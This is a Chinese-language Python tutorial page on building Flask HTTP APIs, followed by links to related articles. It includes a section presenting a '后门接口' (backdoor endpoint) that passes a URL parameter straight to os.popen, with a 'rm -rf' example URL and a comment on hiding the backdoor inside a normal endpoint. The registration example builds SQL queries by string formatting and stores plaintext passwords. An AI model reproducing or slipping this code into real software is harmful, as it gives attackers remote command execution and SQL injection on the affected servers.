Python学习之==>接口开发
一、开发接口的作用
1、在别的接口没有开发完成的时候可以模拟一些接口以便测试已经开发完成的接口,例如假的支付接口,模拟支付成功、支付失败。
2、了解接口是如何实现的:数据交互、数据返回
3、开发给别人查看数据,避免其他人直接操作数据库
二、接口开发的步骤
1、实例化server
2、装饰器下面的函数变为一个接口
3、启动服务
三、开发一个简单的接口
- import flask,json
- server = flask.Flask(__name__) # 实例化server,把当前这个python文件当作一个服务,__name__代表当前这个python文件
- @server.route('/index',methods=['get']) # 'index'是接口路径,methods不写,则默认get请求
- # 装饰器,下面的函数变为一个接口
- def index():
- res = {'msg':'这是我开发的第一个接口','msg_code':''}
- return json.dumps(res,ensure_ascii=False)
- # json.dumps 序列化时对中文默认使用的ascii编码.想输出真正的中文需要指定ensure_ascii=False
- server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务
- # debug=True,改了代码后,不用重启,它会自动重启
- # 'host='0.0.0.0'别人可以通过IP访问
运行这段代码,打开浏览器,输入http://127.0.0.1:8888/index,就可以看到如下运行结果:
四、开发一个注册接口
- import flask,json
- server = flask.Flask(__name__)
- @server.route('/reg',methods=['post'])
- def reg():
- username =flask.request.values.get('username')
- pwd = flask.request.values.get('pwd')
- if username and pwd:
- sql = 'select * from my_user where username = "%s";'%username
- if my_db(sql):
- res = {'msg':'用户已存在','msg_code':2001}
- else:
- insert_sql = 'insert into my_user(username,passwd,is_admin) values ("%s","%s",0);'%(username,pwd)
- my_db(insert_sql)
- res = {'msg':'注册成功','msg_code':0000}
- else:
- res = {'msg':'必填字段未填,请查看接口文档!','msg_code':1001}
- return json.dumps(res,ensure_ascii=False)
- server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务
- # debug=True,改了代码后,不用重启,它会自动重启
- # 'host='0.0.0.0'别人可以通过IP访问
my_db()为另外封装的函数,应放在接口上面,具体代码如下:
- def my_db(sql):
- import pymysql
- coon = pymysql.connect(
- host='192.168.1.112', user='test', passwd='',
- port=3306, db='test', charset='utf8')
- cur = coon.cursor() #建立游标
- cur.execute(sql)#执行sql
- if sql.strip()[:6].upper()=='SELECT':
- res = cur.fetchall()
- else:
- coon.commit()
- res = 'ok'
- cur.close()
- coon.close()
- return res
使用postman测试结果如下:
五、后门接口
- import os
- @server.route('/error',methods=['get'])
- def cmd():
- cmd = flask.request.values.get('cmd') # 接口入参
- res = os.popen(cmd) # 执行用户命令
- return res.read() # 返回执行结果
- # http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件
- # 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
- # 默认可以不传,一但传了再res = os.popen(cmd)
- server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务
- # debug=True,改了代码后,不用重启,它会自动重启
- # 'host='0.0.0.0'别人可以通过IP访问
一个接口文件中可以包含多个接口,只要接口路径不一致即可。但是server.run()一定要放到所有接口最底下,否则,在server.run()下面的接口是不会被运行的。
Python学习之==>接口开发的更多相关文章
- 基于Python的WEB接口开发与自动化测试 pdf(内含书签)
基于Python的WEB接口开发与自动化测试 目录 目 录O V目 录章 Python 学习必知 ................................................... ...
- python——flask常见接口开发(简单案例)
python——flask常见接口开发(简单案例)原创 大蛇王 发布于2019-01-24 11:34:06 阅读数 5208 收藏展开 版本:python3.5+ 模块:flask 目标:开发一个只 ...
- Python flask模块接口开发学习总结
引言 Flask 是一个简单且十分强大的Python web 框架.它被称为微框架,“微”并不是意味着把整个Web应用放入到一个Python文件,微框架中的“微”是指Flask旨在保持代码简洁且易于扩 ...
- Python学习--20 Web开发
HTTP格式 HTTP协议是基于TCP和IP协议的.HTTP协议是一种文本协议. 每个HTTP请求和响应都遵循相同的格式,一个HTTP包含Header和Body两部分,其中Body是可选的. HTTP ...
- python学习之-软件开发的目录规范
通常软件目录下有几个标准文件夹 软件主文件夹命名,通常都是大写(ATM_SHOPPING) ------------------------------------------------------ ...
- python学习6 web开发
wsgi自带,用语构建简单服务器 例子 from wsgiref.simple_server import make_server def index(env, res): res('200 ok', ...
- python学习之-项目开发目录规范
软件目录结构规范有什么好处: 通过规范化,能够更好的控制软件结构,让程序具有更高的可读性. 项目目录组织结构如下: Foo/ # 项目名 --bin/ # 可执行文件目录 --foo # 可执行程序 ...
- (三)FastDFS 高可用集群架构学习---Client 接口开发
一.Python3 与 FastDFS 交互 1.安装 py3fdfs模块 # pip3 install py3Fdfs 2.测试使用 py3Fdfs 与 Fastdfs 集群交互(上传文件) fro ...
- Python微信公众号开发—小白篇
本文面向想通过Python学习公众号开发的同学.一站式解决新手开发微信公众号遇到的所有问题. 为了防止我的文章被到处转载,贴一下我的公众号[智能制造专栏],欢迎大家关注. github仓库地址http ...
随机推荐
- SpringBoot封装自己的Starter
https://juejin.im/post/5cb880c2f265da03981fc031 一.说明 我们在使用SpringBoot的时候常常要引入一些Starter,例如spring-boot- ...
- useradd 创建用户
useradd 创建用户 1.命令功能 useradd 创建一个新用户或者更改默认新用户信息. 2.语法格式 useradd option username useradd -D option ...
- 机器学习四 SVM
目录 引言 SVM 线性可分SVM 线性不可分SVM Hinge Loss 非线性SVM 核函数 总结 参考文献 引言 在深度神经网终(Deep Neural Network, DNN) 大热之前, ...
- python中对RSA的加密和解密
首先,生成一对密钥,并保存 def create_keys(): # 生成公钥和私钥 (pubkey, privkey) = rsa.newkeys(1024) pub = pubkey.save_p ...
- hive中groupby和distinct区别以及性能比较
Hive去重统计 先说核心: 都会在map阶段count,但reduce阶段,distinct只有一个, group by 可以有多个进行并行聚合,所以group by会快. 经常在公司还能看到.很多 ...
- C++、java、python的一些区别
1.变量类型 变量赋值命名不同 Python 中的变量赋值不需要类型声明 counter = 100 # 赋值整型变量 miles = 1000.0 # 浮点型 name = "John&q ...
- C# 获得对象的命名空间 ?.
A a = new A(); var t = a?.ToString(); //t = WebApplication1.Controllers.A //获得命名空间和类名 var t1 = (A)nu ...
- ideal 工具jdk环境配置
1.File >> Other Settings >> Default Project Structure ... 2.Project >> jdk_vie ...
- html a标签 语法
html a标签 语法 作用:<a> 标签定义超链接,用于从一张页面链接到另一张页面. 直线电机滑台 说明:<a> 元素最重要的属性是 href 属性,它指示链接的目标.在所有 ...
- 计算器work_day05
day_work_05 ------Python是一个优雅的大姐姐 作业计算器 设计思路 按照运算优先级和正则先算括号内的值,提出来判断符号问题,然后依次计算. 分析题目设计了四个函数,分别为a)去括 ...